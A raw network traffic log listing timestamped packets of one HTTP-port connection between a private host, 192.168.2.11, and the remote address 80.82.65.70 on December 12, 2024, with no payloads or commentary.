Dec 12, 2024 16:48:26.490132093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490153074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490329027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490339994 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490377903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490384102 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490521908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490521908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490521908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490570068 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490576029 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490587950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490593910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490753889 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490761042 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490837097 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490848064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490854979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490880013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490880013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490880013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490880013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.491002083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.491020918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.491333961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.491333961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.491345882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.492502928 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.492518902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.492525101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.492805004 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.493081093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.493081093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.493222952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.493377924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.495650053 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.495707989 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.495712996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.495834112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.495834112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.496988058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.496994019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.497042894 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.497112989 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.497118950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.497555971 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.497673035 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.499244928 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.499250889 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.499263048 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.499306917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.499306917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.499351025 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.499373913 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.500042915 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.500049114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.500205040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.500205040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.501211882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.501218081 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.501861095 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.502182007 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.502188921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.502497911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.503206968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.503212929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.503262997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.504769087 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.504774094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.504885912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.505136967 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.505147934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.505213976 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.505213976 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.506299019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.506305933 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.506614923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.507344007 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.507349968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.507792950 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.508284092 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.508291006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.508377075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.509444952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.509450912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.510224104 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.510307074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.510473013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.511286974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.511293888 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.511368990 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.512279034 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.512285948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.512331963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.512507915 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.513333082 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.513339043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.513382912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.513382912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.514420986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.514427900 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.514594078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.515367985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.515710115 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.515727043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.516078949 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.516807079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.517107010 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.517493963 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.517499924 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.517595053 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.518522978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.518528938 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.518537045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.518762112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.518762112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.519637108 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.519645929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.519804955 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.520524025 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.521073103 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.521583080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.521589041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.521828890 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.522479057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.522603035 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.522624969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.523047924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.523061037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.523329973 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.523711920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.523719072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.524571896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.524703026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.524708986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.524909019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.525687933 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.525693893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.526036978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.526664019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.526674032 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.526710033 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.527815104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.527821064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.528748989 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.528754950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.529673100 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.529673100 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.529736042 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.529742956 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.529793978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.530895948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.530903101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.530955076 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.531893969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.531899929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.532495975 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.532838106 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.532844067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.533644915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.533864021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.533870935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.534074068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.535362959 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.535557985 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.666873932 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.666965008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.667007923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.667023897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.667190075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.667332888 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.667334080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.668018103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.668025017 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.668201923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.669013023 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.669029951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.669820070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.669985056 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.670146942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.671062946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.671190023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.671190023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.671190023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.671216011 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.671331882 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.671823978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.671830893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.671901941 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.672504902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.673558950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.673566103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.673954964 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.673954964 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.674256086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.674559116 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.674570084 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.675331116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.675571918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.676563025 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.676568985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.676620007 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.676620007 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.677603006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.677609921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.678564072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.678570032 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.678611994 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.678620100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.679127932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.679127932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.679749012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.679755926 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.680725098 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.680731058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.681478977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.681478977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.681755066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.681761026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.682492971 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.682724953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.682867050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.682868004 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.683042049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.683800936 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.683808088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.684854984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.684861898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.684878111 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.685323954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.685323954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.685902119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.685908079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.686887026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.686899900 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.686984062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.686984062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.687902927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.688221931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.688242912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.688926935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.688937902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.689249039 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.689249039 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.689975977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.689981937 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.690880060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.691338062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.691343069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.691555977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.691555977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.691961050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.691967964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.692492008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.693030119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.693041086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.693295002 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.694065094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.694072008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.695077896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.695091009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.695128918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.695128918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.696151018 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.696187019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.696269989 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.697376013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.697381973 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.697427034 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.697427034 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.698220015 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.698226929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.698611975 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.699184895 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.699191093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.699338913 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.700164080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.700170994 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.701215982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.701221943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.701869011 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.701869011 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.702312946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.702325106 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.702491045 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.703351021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.703553915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.703577042 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.703752041 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.704206944 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.705115080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.705447912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.705455065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.706243992 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.706249952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.706293106 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.706293106 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.707346916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.707477093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.707483053 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.707554102 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.707554102 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.708426952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.708432913 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.709212065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.709634066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.709640026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.710506916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.710514069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.710586071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.710619926 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.711662054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.711668968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.712486982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.712488890 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.712492943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.713537931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.713606119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.713615894 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.713913918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.714585066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.714591026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.715342045 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.715574026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.715770960 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.716505051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.716511011 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.716865063 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.717291117 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.717638969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.717644930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.717694044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.717694044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.718697071 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.718703985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.719335079 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.719571114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.722493887 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.857824087 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.857836962 CET	80	49882	80.82.65.70	192.168.2.11
